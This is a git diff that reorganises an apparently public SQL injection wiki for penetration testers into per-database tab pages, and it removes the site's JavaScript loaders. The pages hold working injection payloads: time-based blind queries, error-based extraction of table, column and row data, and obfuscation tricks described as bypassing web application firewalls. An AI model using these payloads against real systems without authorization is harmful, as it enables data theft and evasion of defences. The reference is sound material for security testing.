diff --git a/build/Oracle/injectionTechniques/conditionalStatements.html b/injectionTechniques/conditionalStatements/oracle.html similarity index 80% rename from build/Oracle/injectionTechniques/conditionalStatements.html rename to injectionTechniques/conditionalStatements/oracle.html index 90ce77a..8b00780 100644 --- a/build/Oracle/injectionTechniques/conditionalStatements.html +++ b/injectionTechniques/conditionalStatements/oracle.html @@ -1,6 +1,6 @@

Conditionals

-

+

{{site.data.injectionDescriptions.conditionalStatements}}

diff --git a/build/SQLServer/injectionTechniques/conditionalStatements.html b/injectionTechniques/conditionalStatements/sqlserver.html similarity index 69% rename from build/SQLServer/injectionTechniques/conditionalStatements.html rename to injectionTechniques/conditionalStatements/sqlserver.html index e367ad2..0462cd5 100644 --- a/build/SQLServer/injectionTechniques/conditionalStatements.html +++ b/injectionTechniques/conditionalStatements/sqlserver.html @@ -1,6 +1,6 @@

Conditionals

-

+

{{site.data.injectionDescriptions.conditionalStatements}}

@@ -12,7 +12,7 @@

Conditionals

- + diff --git a/injectionTechniques/index.html b/injectionTechniques/index.html new file mode 100644 index 0000000..6c73ef9 --- /dev/null +++ b/injectionTechniques/index.html @@ -0,0 +1,16 @@ +--- +layout: default +description: The following techniques will aid in gaining first exploitation of a new SQL Injection. +keywords: techniques, how-to, obfuscation, placement, conditional statements +title: Injection Techniques | NetSPI SQL Injection Wiki +--- +

Injection Techniques

+

Below are a couple techniques to aid you in exploiting various SQL injections.

+

Conditional Statements

+

{{site.data.injectionDescriptions.conditionalStatements}}

+ +

Injection Placement

+

{{site.data.injectionDescriptions.injectionPlacement}}

+ +

Injection Obfuscation

+

{{site.data.injectionDescriptions.injectionObfuscation}}

diff --git a/injectionTechniques/injectionPlacement/index.html b/injectionTechniques/injectionPlacement/index.html new file mode 100644 index 0000000..5f0e186 --- /dev/null +++ b/injectionTechniques/injectionPlacement/index.html @@ -0,0 +1,16 @@ +--- +layout: tab +description: SQL injection is always a hassle when it isn't apparent where the injection is taking place. Here are the most common places. +keywords: injection placement, placement, where +title: Injection Placement | SQL Injection Wiki +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html +--- diff --git a/build/MySQL/injectionTechniques/injectionPlacement.html b/injectionTechniques/injectionPlacement/mysql.html similarity index 94% rename from build/MySQL/injectionTechniques/injectionPlacement.html rename to injectionTechniques/injectionPlacement/mysql.html index dcc256e..86a1689 100644 --- a/build/MySQL/injectionTechniques/injectionPlacement.html +++ b/injectionTechniques/injectionPlacement/mysql.html @@ -1,6 +1,6 @@

Injection Placement

-

+

{{site.data.injectionDescriptions.injectionPlacement}}

$injection identifies the injection point. The injections that modify data attempt to always use concatenation and allow the rest of the query to be valid. See this post for more information.

diff --git a/build/Oracle/injectionTechniques/injectionPlacement.html b/injectionTechniques/injectionPlacement/oracle.html similarity index 94% rename from build/Oracle/injectionTechniques/injectionPlacement.html rename to injectionTechniques/injectionPlacement/oracle.html index 2c443ee..b19e6d1 100644 --- a/build/Oracle/injectionTechniques/injectionPlacement.html +++ b/injectionTechniques/injectionPlacement/oracle.html @@ -1,6 +1,6 @@

Injection Placement

-

+

{{site.data.injectionDescriptions.injectionPlacement}}

$injection identifies the injection point. The injections that modify data attempt to always use concatenation and allow the rest of the query to be valid. See this post for more information.

diff --git a/build/SQLServer/injectionTechniques/injectionPlacement.html b/injectionTechniques/injectionPlacement/sqlserver.html similarity index 94% rename from build/SQLServer/injectionTechniques/injectionPlacement.html rename to injectionTechniques/injectionPlacement/sqlserver.html index 51ad176..9185961 100644 --- a/build/SQLServer/injectionTechniques/injectionPlacement.html +++ b/injectionTechniques/injectionPlacement/sqlserver.html @@ -1,6 +1,6 @@

Injection Placement

-

+

{{site.data.injectionDescriptions.injectionPlacement}}

$injection identifies the injection point. The injections that modify data attempt to always use concatenation and allow the rest of the query to be valid. See this post for more information.

diff --git a/injectionTechniques/obfuscation/index.html b/injectionTechniques/obfuscation/index.html new file mode 100644 index 0000000..041bcb7 --- /dev/null +++ b/injectionTechniques/obfuscation/index.html @@ -0,0 +1,16 @@ +--- +layout: tab +description: Obfuscating SQL Injection queries aids in bypassing Web Application Firewalls (WAFs) and Intrusion Detection/Prevention Systems (IDS/IPS). +keywords: waf, ids, ips, obfuscation, query, manipulation +title: Obfuscation | NetSPI SQL Injection Wiki +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html +--- diff --git a/build/MySQL/injectionTechniques/obfuscation.html b/injectionTechniques/obfuscation/mysql.html similarity index 81% rename from build/MySQL/injectionTechniques/obfuscation.html rename to injectionTechniques/obfuscation/mysql.html index 5e8af42..3406d66 100644 --- a/build/MySQL/injectionTechniques/obfuscation.html +++ b/injectionTechniques/obfuscation/mysql.html @@ -1,6 +1,6 @@

Obfuscating Queries

-

+

{{site.data.injectionDescriptions.injectionObfuscation}}

CaseSELECT CASE WHEN 1=1 THEN 1 ELSE 0 ENDSELECT CASE WHEN 1 = 1 THEN 1 ELSE 0 END AS Result;
If/Else
@@ -26,6 +26,10 @@

Obfuscating Queries

+ + + + @@ -72,7 +76,11 @@

Obfuscating Queries

- + + + + + @@ -94,6 +102,10 @@

Obfuscating Queries

+ + + +
Hex > Int SELECT 0x20 + 0x40
Unhex/hexunhex(hex(user()))
Bitwise AND SELECT 6 & 2
Single line commentSELECT 1 -- comments out rest of line
SELECT 1 # comments out rest of line
SELECT 1 -- comments out rest of line
SELECT 1 # comments out rest of line
SELECT 1 --+ - Comments out rest of the line
SELECT 1 --+- - Comments out rest of the line
SELECT 1 -- - - Comments out rest of the line
SELECT 1 %00 - Comments out rest of the line
In-line commentSEL/*_*/ECT * FR/*_*/OM
No Spaces Invalid Percent Encode %SEL%ECT * F%R%OM U%S%ERS
character obfuscationSeLeCt * FrOm
diff --git a/build/Oracle/injectionTechniques/obfuscation.html b/injectionTechniques/obfuscation/oracle.html similarity index 96% rename from build/Oracle/injectionTechniques/obfuscation.html rename to injectionTechniques/obfuscation/oracle.html index ee719ed..e3683e6 100644 --- a/build/Oracle/injectionTechniques/obfuscation.html +++ b/injectionTechniques/obfuscation/oracle.html @@ -1,6 +1,6 @@

Obfuscating Queries

-

+

{{site.data.injectionDescriptions.injectionObfuscation}}

@@ -55,7 +55,7 @@

Obfuscating Queries

- + diff --git a/build/SQLServer/injectionTechniques/obfuscation.html b/injectionTechniques/obfuscation/sqlserver.html similarity index 98% rename from build/SQLServer/injectionTechniques/obfuscation.html rename to injectionTechniques/obfuscation/sqlserver.html index 188571b..f4227a4 100644 --- a/build/SQLServer/injectionTechniques/obfuscation.html +++ b/injectionTechniques/obfuscation/sqlserver.html @@ -1,6 +1,6 @@

Obfuscating Queries

-

+

{{site.data.injectionDescriptions.injectionObfuscation}}

SELECT 1 FROM dual -- comment
If statementIf Statement BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF;
diff --git a/injectionTypes/blindBased/index.html b/injectionTypes/blindBased/index.html new file mode 100644 index 0000000..ced43c3 --- /dev/null +++ b/injectionTypes/blindBased/index.html @@ -0,0 +1,19 @@ +--- +layout: tab +description: Blind SQL injection is one of the more advanced methods of injection. The Partial-Blind and Full-Blind methods are detailed below. +title: Blind Based Injection | NetSPI SQL Injection Wiki +keywords: blind, blind based, blind-based +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html + - title: PostgreSQL + shortName: postgresql + fileName: postgresql.html +--- diff --git a/build/MySQL/injectionTypes/blindBased.html b/injectionTypes/blindBased/mysql.html similarity index 84% rename from build/MySQL/injectionTypes/blindBased.html rename to injectionTypes/blindBased/mysql.html index e788e44..3bd5d9c 100644 --- a/build/MySQL/injectionTypes/blindBased.html +++ b/injectionTypes/blindBased/mysql.html @@ -1,8 +1,8 @@

Blind Injection

-

+

{{site.data.injectionDescriptions.blindBased}}

-

Partial-Blind

+

Partial-Blind

Partial-blind injections are queries that return HTTP Status Codes, or other markers in the HTML response, that indicate true or false statements. The queries below will attempt to exploit the injection by asserting a true or false response upon guessed information. True or false queries can also be identified by returning 1(True) or 0(False) rows. An error can also be used to identify 0(False).

@@ -40,12 +40,12 @@

Partial-Blind

-

Converting Partial-Blind queries to Full-Blind queries

+

Converting Partial-Blind queries to Full-Blind queries

Any of the above queries can be used in full-blind scenarios by using the following conversion:
SELECT IF(*PARTIAL_BLIND_QUERY*, SLEEP(5), null)

-

Full-Blind

+

Full-Blind

Partial-blind injections can be determined by differing HTTP status codes, response times, content-lengths, and HTML contents in the HTTP response. These markers can indicate true or false statements. The queries below will attempt to exploit the injection by asserting a true or false response upon guessed information. True or false queries can also be identified by returning 1(True) or 0(False) rows. An error can also be used to identify 0(False).

@@ -64,11 +64,11 @@

Full-Blind

- + - +
User is root (Benchmark method)SELECT IF(user() LIKE 'root@%', BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds')), null)SELECT * from (user() LIKE 'root@%', BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds')), null)
Version is 5.x.xSELECT IF(SUBSTRING(version(),1,1)=5,SLEEP(5),null)SELECT * from (SUBSTRING(version(),1,1)=5,SLEEP(5),null)
diff --git a/build/Oracle/injectionTypes/blindBased.html b/injectionTypes/blindBased/oracle.html similarity index 84% rename from build/Oracle/injectionTypes/blindBased.html rename to injectionTypes/blindBased/oracle.html index a2e8d4a..c3e3474 100644 --- a/build/Oracle/injectionTypes/blindBased.html +++ b/injectionTypes/blindBased/oracle.html @@ -1,10 +1,10 @@

Blind Injection

-

+

{{site.data.injectionDescriptions.blindBased}}

-

Partial-Blind

+

Partial-Blind

Partial-blind injections can be determined by differing HTTP status codes, response times, content-lengths, and HTML contents in the HTTP response. These markers can indicate true or false statements. The queries below will attempt to exploit the injection by asserting a true or false response upon guessed information. True or false queries can also be identified by returning 1(True) or 0(False) rows. An error can also be used to identify 0(False).

@@ -40,13 +40,13 @@

Partial-Blind

-

Converting Partial-Blind queries to Full-Blind queries

+

Converting Partial-Blind queries to Full-Blind queries

Any of the above queries can be used in full-blind scenarios by using the following conversion:
SELECT CASE WHEN (*PARTIAL_BLIND_QUERY*)=1 THEN (SELECT count(*) FROM all_users a, all_users b, all_users c, all_users d) ELSE 0 END FROM dual

The partial-blind query must return one row, so always attempt to use COUNT on the column being selected. Add "all_users [letter]" ad naseum until the database response slows. You may need to cycle though [letter] if the database is caching responses.

-

Full-Blind

+

Full-Blind

-

Full-blind queries do not indicate any result of the query in the HTTP/HTML response. This makes them dependent upon timing functions and other out-of-band methods for attacks. A true statement will take X seconds to respond, a false statement should return immediately.

+

Full-blind queries do not indicate any result of the query in the HTTP/HTML response. This makes them dependent upon timing functions and other out-of-band methods for attacks. A true statement will take X seconds to respond, a false statement should return immediately.

diff --git a/injectionTypes/blindBased/postgresql.html b/injectionTypes/blindBased/postgresql.html new file mode 100644 index 0000000..45e79f0 --- /dev/null +++ b/injectionTypes/blindBased/postgresql.html @@ -0,0 +1,23 @@ +

Blind Injection

+ +

{{site.data.injectionDescriptions.blindBased}}

+ +

Partial-Blind

+ +

Partial-blind injections can be determined by differing HTTP status codes, response times, content-lengths, and HTML contents in the HTTP response. These markers can indicate true or false statements. The queries below will attempt to exploit the injection by asserting a true or false response upon guessed + information. True or false queries can also be identified by returning 1(True) or 0(False) rows. An error can also be used to identify 0(False).

+
+ + + + + + + + + + + + + +
Query
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
diff --git a/build/SQLServer/injectionTypes/blindBased.html b/injectionTypes/blindBased/sqlserver.html similarity index 79% rename from build/SQLServer/injectionTypes/blindBased.html rename to injectionTypes/blindBased/sqlserver.html index 97be802..746d2b0 100644 --- a/build/SQLServer/injectionTypes/blindBased.html +++ b/injectionTypes/blindBased/sqlserver.html @@ -1,8 +1,8 @@

Blind Injection

-

+

{{site.data.injectionDescriptions.blindBased}}

-

Partial-Blind

+

Partial-Blind

Partial-blind injections can be determined by differing HTTP status codes, response times, content-lengths, and HTML contents in the HTTP response. These markers can indicate true or false statements. The queries below will attempt to exploit the injection by asserting a true or false response upon guessed information. True or false queries can also be identified by returning 1(True) or 0(False) rows. An error can also be used to identify 0(False).

@@ -24,7 +24,7 @@

Partial-Blind

Table log_table exists - SELECT * FROM log_table + SELECT* FROM log_table Column message exists in table log_table @@ -40,15 +40,15 @@

Partial-Blind

-

Converting Partial-Blind queries to Full-Blind queries

+

Converting Partial-Blind queries to Full-Blind queries

Any of the above queries can be used in full-blind scenarios by using the following conversion:
IF exists(*PARTIAL_BLIND_QUERY*) WAITFOR DELAY '00:00:02'

-

Full-Blind

+

Full-Blind

-

Full-blind queries do not indicate any result of the query in the HTTP/HTML response. This makes them dependent upon timing functions and other out-of-band methods for attacks. A true statement will take X seconds to respond, a false statement should return immediately.

+

Full-blind queries do not indicate any result of the query in the HTTP/HTML response. This makes them dependent upon timing functions and other out-of-band methods for attacks. A true statement will take X seconds to respond, a false statement should return immediately.

diff --git a/injectionTypes/errorBased/index.html b/injectionTypes/errorBased/index.html new file mode 100644 index 0000000..e4fc5b4 --- /dev/null +++ b/injectionTypes/errorBased/index.html @@ -0,0 +1,19 @@ +--- +layout: tab +description: Error based SQL Injections are exploited through triggering errors in the database when invalid inputs are passed to it. +title: Error Based Injection | NetSPI SQL Injection Wiki +keywords: error based, error-based, error +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html + - title: PostgreSQL + shortName: postgresql + fileName: postgresql.html +--- diff --git a/injectionTypes/errorBased/mysql.html b/injectionTypes/errorBased/mysql.html new file mode 100644 index 0000000..53debef --- /dev/null +++ b/injectionTypes/errorBased/mysql.html @@ -0,0 +1,45 @@ +

Error Based

+ +

{{site.data.injectionDescriptions.errorBased}}

+ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DescriptionQuery
Amount of columns using ORDER BYORDER BY 1 +
+ Add this at the end of your query + If you get no error you know ordering is working + Increment the number from 1 until you get an error. Then you know the amount of columns for this table +
Amount of columns using UNION SELECTUNION SELECT 1,2 +
+ Add this at the end of your query + Add increment until you see a valid response, e.g. UNION SELECT 1,2,3 + If you get no error you know union select is working. You can try to find the values on the page to see where the output goes. +
XML Parse ErrorSELECT extractvalue(rand(),concat(0x3a,(select version())))
Double QuerySELECT 1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT username FROM USERS LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)

Increment Limit 0,1 to Limit 1,1 to begin cycling through data
Get Current DatabaseSELECT a()
diff --git a/build/Oracle/injectionTypes/errorBased.html b/injectionTypes/errorBased/oracle.html similarity index 92% rename from build/Oracle/injectionTypes/errorBased.html rename to injectionTypes/errorBased/oracle.html index 21ae37a..9aeef6f 100644 --- a/build/Oracle/injectionTypes/errorBased.html +++ b/injectionTypes/errorBased/oracle.html @@ -1,6 +1,6 @@

Error Based

-

+

{{site.data.injectionDescriptions.errorBased}}

diff --git a/injectionTypes/errorBased/postgresql.html b/injectionTypes/errorBased/postgresql.html new file mode 100644 index 0000000..b89f3c6 --- /dev/null +++ b/injectionTypes/errorBased/postgresql.html @@ -0,0 +1,25 @@ +

Error Based

+ +

{{site.data.injectionDescriptions.errorBased}}

+ +
+ + + + + + + + + + + + + + + + + + + +
Query
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
diff --git a/build/SQLServer/injectionTypes/errorBased.html b/injectionTypes/errorBased/sqlserver.html similarity index 97% rename from build/SQLServer/injectionTypes/errorBased.html rename to injectionTypes/errorBased/sqlserver.html index b1b18fe..4661f3c 100644 --- a/build/SQLServer/injectionTypes/errorBased.html +++ b/injectionTypes/errorBased/sqlserver.html @@ -1,6 +1,6 @@

Error Based

-

+

{{site.data.injectionDescriptions.errorBased}}

diff --git a/injectionTypes/index.html b/injectionTypes/index.html new file mode 100644 index 0000000..b9f7ed7 --- /dev/null +++ b/injectionTypes/index.html @@ -0,0 +1,14 @@ +--- +layout: default +description: These sections identify the main types of SQL Injection that can be found and how to exploit certain scenarios within those injection types. +title: Injection Types | NetSPI SQL Injection Wiki +keywords: error, union, blind, based +--- +

Injection Types

+

The sections below identify the main types of injections that can be found and how to exploit certain scenarios within those injection types.

+

Error Based

+

{{site.data.injectionDescriptions.errorBased}}

+

Union Based

+

{{site.data.injectionDescriptions.unionBased}}

+

Blind Based

+

{{site.data.injectionDescriptions.blindBased}}

diff --git a/injectionTypes/unionBased/index.html b/injectionTypes/unionBased/index.html new file mode 100644 index 0000000..b9ce44d --- /dev/null +++ b/injectionTypes/unionBased/index.html @@ -0,0 +1,16 @@ +--- +layout: tab +description: Union based SQL Injection allows an attacker to extract information from the database by extending the results returned by the original query. +title: Union Based Injection | NetSPI SQL Injection Wiki +keywords: union, union based, union-based +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html +--- diff --git a/build/MySQL/injectionTypes/unionBased.html b/injectionTypes/unionBased/mysql.html similarity index 92% rename from build/MySQL/injectionTypes/unionBased.html rename to injectionTypes/unionBased/mysql.html index cc9c8b1..1e74444 100644 --- a/build/MySQL/injectionTypes/unionBased.html +++ b/injectionTypes/unionBased/mysql.html @@ -1,6 +1,6 @@

Union-Based Injection

-

+

{{site.data.injectionDescriptions.unionBased}}

diff --git a/build/Oracle/injectionTypes/unionBased.html b/injectionTypes/unionBased/oracle.html similarity index 90% rename from build/Oracle/injectionTypes/unionBased.html rename to injectionTypes/unionBased/oracle.html index b8ced00..3a4015c 100644 --- a/build/Oracle/injectionTypes/unionBased.html +++ b/injectionTypes/unionBased/oracle.html @@ -1,6 +1,6 @@

Union-Based Injection

-

+

{{site.data.injectionDescriptions.unionBased}}

diff --git a/build/SQLServer/injectionTypes/unionBased.html b/injectionTypes/unionBased/sqlserver.html similarity index 93% rename from build/SQLServer/injectionTypes/unionBased.html rename to injectionTypes/unionBased/sqlserver.html index abb8246..fb40010 100644 --- a/build/SQLServer/injectionTypes/unionBased.html +++ b/injectionTypes/unionBased/sqlserver.html @@ -1,6 +1,6 @@

Union-Based Injection

-

+

{{site.data.injectionDescriptions.unionBased}}

diff --git a/javascripts/descriptions.js b/javascripts/descriptions.js deleted file mode 100644 index 84d01e7..0000000 --- a/javascripts/descriptions.js +++ /dev/null @@ -1,20 +0,0 @@ -//This file is used so that injection descriptions can be abstracted away from individual pages. So we don't have to update identical descriptions in every tab of a page when we update it. -//The logic for this file is in index.js. It looks for an element with classtype "injectionDescription" then looks up the id of that element in the descriptions object. - -var descriptions = {}; -descriptions.injectionDetection = "Injections can be detected in a number of ways. The simplest being adding a ' or \" after various parameters and getting a database error returned from the web server. The sections below describe where to find and how to detect these parameters." -descriptions.dbmsIdentification = "Detecting what Database Management System (DBMS) is being used is critical in being able to further exploit an injection. Without that knowledge it would not be possible to determine what tables to query, what functions are built-in, and what detections to avoid. A successful response from the below queries identify that the selected DBMS is being used." -descriptions.errorBased = "Error based injections are exploited through triggering errors generated by the database when invalid input is passed to it. The error messages can be used to return the full query results, or gain information on how to restructure the query for further exploitation." -descriptions.unionBased = "Union based SQL injection allows an attacker to extract information from the database by extending the results returned by the original query. The Union operator can only be used if the original/new queries have the same structure (number and data type of columns)." -descriptions.blindBased = "Blind SQL injection is one of the more advanced methods of injection. The Partial-Blind and Full-Blind methods are detailed below. Use care when performing these queries, as they can overload a server if performed through heavy automation." -descriptions.conditionalStatements = "Conditional statements are beneficial for creating complex queries and aiding in Blind Injection." -descriptions.injectionPlacement = "SQL injection is always a hassle when it isn't apparent where the injection is taking place. It is helpful to have a few ways to exploit injections in various parts of the query." -descriptions.injectionObfuscation = "Obfuscating queries aids in bypassing Web Application Firewalls (WAFs) and Intrusion Detection/Prevention Systems (IDS/IPS). Below are examples of basic query obfuscations, they may require modification before being applied to certain injections." -descriptions.dataExfiltration = "Exfiltrating data allows easier data analysis, as well as an offline copy of any compromised data. Data can be exfiltrated through files, various Layer 4 requests, and hidden techniques." -descriptions.dataTargeting = "Being able to properly target and identify sensitive information can exponentially decrease time spent in a database. This means less time spent poking around and more time spent researching other vectors." -descriptions.executingOSCommands = "Running an OS command is one of the primary objectives of SQL injection, this aids in getting full control of the host OS. This may happen by directly executing commands, modifying existing data to put a shell on a webpage, or exploiting hidden functionality in the database." -descriptions.informationGathering = "It is often valuable to gather information about any testing environment; version numbers, user accounts, and databases all help in escalating vulnerabilities. Below are common methods for this." -descriptions.lateralMovement = "Lateral movement allows a tester to gain access to different sets of functionality/data that don't explicitly require a more privileged user. Switching user accounts laterally will expose different information and could aid in compromising a more privileged user." -descriptions.privilegeEscalation = "Certain functionalities require a privileged user and for escalating a vulnerability a privileged user is always the first step." -descriptions.readingAndWritingFiles = "Reading and writing to files aids in data gathering as well as data exfiltration. Many methods include writing to the webroot, which enables a web shell to be executed, or allowing data to be exfiltrated over port 80/443." -descriptions.persistence = "Gaining persistence on a system allows a semi-permanent foothold in a network. Through this foothold different vectors and exploit methods can be attempted." diff --git a/javascripts/index.js b/javascripts/index.js deleted file mode 100644 index 0137a69..0000000 --- a/javascripts/index.js +++ /dev/null @@ -1,174 +0,0 @@ -var DEFAULT_TAB = 'MySQL'; -var TAB_PAGE_TYPE = 'tab'; -var ABSOLUTE_LOADER = '
'; -var activePage = ''; -var activeTopicType = ''; -var activeTab = DEFAULT_TAB; -var tabIds = ['MySQL', 'SQLServer', 'Oracle']; -//Amount of characters to show in a
before truncating -var PREVIEW_LENGTH = 1000; - -loadPage() -//Load the page -function loadPage() { - if (window.location.pathname == '/') { //Default to home - $.get('/views/home.html?' + VERSION, function(response, data) { - $('#contentContainer').html(response); - }) - activePage = 'home'; - } else { //We at least have a pageType - var pageType = getRouteProperty('pageType'); - var topicType = getRouteProperty('topicType'); - var tabType = getParameterByName('dbms'); - //If the page or topic type changed we should probably load new info - if (activePage !== pageType || activeTopicType !== topicType) { - $("#contentContainer").prepend(ABSOLUTE_LOADER); - if (pageType != TAB_PAGE_TYPE) { //Tabbed pages need to be handled differently - $.get('/views/' + pageType + '.html?' + VERSION, function(response, data) { - if (response.indexOf('') > -1 && response.indexOf('SQL') > -1) { - //Whatever view it is, we don't have it and it defaulted to index.html - debugger; - window.location.pathname = '/'; - } else { - $('#contentContainer').html(response); - if ($('#contentContainer .injectionDescription')) { - loadInjectionDescriptions(); - } - } - }) - } else { - //Tab pages have to load tab.html, then all the contents for each tab. - //Put that in a staging area until it's all loaded so we don't get content popping in randomly - $.get('/views/' + pageType + '.html?' + VERSION, function(response, data) { - $('#contentContainerStage').html(response); - loadTabs(); - }) - } - } else if (activeTab !== tabType) { - if (!tabType) { - tabType = DEFAULT_TAB; - } - $('#injectionTabs a[href="#' + tabType + '"]').tab('show'); - } - activePage = pageType; - activeTab = tabType; - activeTopicType = topicType; - } -} - -//Load all injection tabs -function loadTabs() { - var sectionType = getRouteProperty('sectionType'); - var topicType = getRouteProperty('topicType'); - if (sectionType == null) { - return; //Something happend. - } else if (topicType == null) { - topicType = sectionType; //For sectionTypes that only have one topicType - } - var promises = []; - //Get all tabs that we need to load - var tabs = $('#contentContainerStage .tab-pane').map(function(idx, elem) { - return elem.id; - }) - //Load each tab - for (var i = 0; i < tabs.length; i++) { - //Add each tab to a promise array - promises.push($.get("/build/" + tabs[i] + "/" + sectionType + "/" + topicType + '.html?' + VERSION, (function() { - //Using a closure here to save the tab. - //Would use const instead of var, but IE SUCKS. - var currTab = tabs[i]; - return function(response, status, test) { - handleTabLoad(response, status, currTab) - } - })())) - } - //Wait until they're all loaded, so they can be displayed in unison - $.when.apply($, promises).then(function() { - var tabName = getParameterByName('dbms'); - if (!tabName) { - tabName = DEFAULT_TAB; - } - //Transfer content from the staging area into the live area - $('#contentContainer').html($('#contentContainerStage').html()); - //Load their injection descriptions. - loadInjectionDescriptions(); - //Clear the staging area - $('#contentContainerStage').html(null); - //Select the active tab - $('#injectionTabs a[href="#' + tabName + '"]').tab('show'); - }) -} - -//For use in loadTabs() -//Handle the response from a GET request for a specific tab -//Load the current tab into the staging area, to be transferred to the live area after all tabs load -function handleTabLoad(response, status, tab) { - //When a page doesn't exist we return /index.html, this allows us to use real URL paths. - //If we try to load a view that doesn't exist, check if it has a head and a title, that's the indicator that it errored back to /index.html - //Crappy...I know. - if (response.indexOf('<head>') > -1 && response.indexOf('<title>SQL') > -1) { - $("#contentContainerStage #" + tab).html("<p class=\"readableText\">No data yet, please contribute on our <a href=\"https://github.com/NetSPI/SQLInjectionWiki\" target=\"_blank\">Github</a> if you know any useful methods!</p>"); - } else { - $('#contentContainerStage #' + tab).html(response); - //Collapse any rows that have a ton of content - $('#contentContainerStage #' + tab + ' td').each(function(idx, data) { - if (data.innerText.length > PREVIEW_LENGTH) { - data.innerHTML = "<div class=\"collapseRow\">" + data.innerHTML + getShowElement(true) + "</div>"; - } - }) - } -} - -//Load the descriptions for the current injection type -function loadInjectionDescriptions() { - $('.injectionDescription').each(function(idx, description) { - description.innerHTML = descriptions[description.id]; - }) -} - -//Toggle the show more/less object -function toggleRow() { - this.event.target.parentElement.classList.toggle('open'); - if (this.event.target.parentElement.classList.contains('open')) { - this.event.target.outerHTML = getShowElement(false); - } else { - this.event.target.outerHTML = getShowElement(true); - } -} - -//Adds show more and show less links around the data -function getShowElement(more) { - if (more) { - return "<div onClick=\"toggleRow(this)\" class=\"showMore\">Show more</div>" - } else { - return "<div onClick=\"toggleRow(this)\" class=\"showMore\">Show less</div>" - } -} - -//After all ajax requests have completed, remove the loading screen -$(document).ajaxStop(function() { - $(document).off('ajaxStop'); - setTimeout(function() { - $('#contentWrapper').removeClass('hidden'); - $('.loadWrapper').animate({ - 'opacity': 0 - }, 250); - setTimeout(function() { - $('.loadWrapper').remove(); - }, 1000) - }, 750); -}) - -//Initialize any "show more" links -//We have it with this weird 'body'.on syntax so that we don't have to add the handler -// to every new element. This adds it to any future elements as well as current elements. -$('body').on('click', '.dataPreviewLink.showMore', function(e) { - $(e.target).toggleClass('show'); - $($(e.target).parent()).find('.dataPreviewLink.showLess').toggleClass('show'); - $($(e.target).next('.dataPreview')).toggleClass('show'); -}) -$('body').on('click', '.dataPreviewLink.showLess', function(e) { - $(e.target).toggleClass('show'); - $($(e.target).parent()).find('.dataPreviewLink.showMore').toggleClass('show'); - $($(e.target).prev('.dataPreview')).toggleClass('show'); -}) diff --git a/javascripts/nav.js b/javascripts/nav.js deleted file mode 100644 index d97eef9..0000000 --- a/javascripts/nav.js +++ /dev/null @@ -1,163 +0,0 @@ -var isMobile = $('.mobile:visible').length > 0; - -//Load the nav bar and activate -$.get("/views/nav.html?" + VERSION, function(response, data) { - $('.n-navbar').html(response); - setActiveNav() -}) - -//When the navigation hamburger, or X, is clicked open/close it. -$('.n-nav-icon').click(function() { - toggleNavigation(); - //Hide the scroll from the main content, so it doesn't affect the full nav on mobile - if (isMobile) { - if ($('.n-navbar').hasClass('active')) { - $('body').addClass('noscroll'); - } else { - $('body').removeClass('noscroll'); - } - } -}); - -//On mobile -$(window).resize(function() { - isMobile = $('.mobile:visible').length > 0; - if (isMobile) { - closeNavigation(); - $('body').removeClass('noscroll'); - } else if (getCookie('nav') == 'true' || getCookie('nav') == undefined) { - openNavigation(); - $('body').removeClass('noscroll'); - } -}) - -//Highlight the page we are currently on in the nav -function setActiveNav() { - $('.n-nav-item').removeClass('active'); - var pageType = getRouteProperty('pageType'); - var sectionType = getRouteProperty('sectionType'); - var topicType = getRouteProperty('topicType'); - //If there's no page, we're home - if (window.location.pathname == '/') { - $('#homeLink').addClass('active'); - } else if (!sectionType) { //If there's no topic type it's a top link - $('#' + pageType + 'Link').addClass('active'); - } else { //if it's not a top link then it's a sub topic - if (topicType == null) { - topicType = sectionType; - } - $('#' + sectionType + ' #' + topicType).addClass('active'); - } -} - -//Get a property from the route -/* -URL Schema: /pageType/sectionType/topicType?dbms=[dbms] -Example: /tab/injectionTypes/errorBased?dbms=MySQL -*/ -function getRouteProperty(property) { - var route = window.location.pathname.split('/'); - switch (property) { - case 'pageType': - return route[1]; - case 'sectionType': - return route[2]; - case 'topicType': - return route[3]; - } -} - -//Update the tab(dbms) type -function updateTab(tab) { - updateQueryStringParameter('dbms', tab); -} - -//Update the route, takes a string with the new route. -function updateRoute(route) { - if (route.indexOf('?') == -1) { - window.history.pushState(null, new Date(), route + window.location.search); - } else { - window.history.pushState(null, new Date(), route); - } - if (isMobile) { - closeNavigation(); - } - loadPage(); - setActiveNav(); -} - -//Get a URL query parameter by name -function getParameterByName(name) { - var url = window.location.href; - name = name.replace(/[\[\]]/g, "\\$&"); - var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"), - results = regex.exec(url); - if (!results) - return null; - if (!results[2]) - return ''; - return 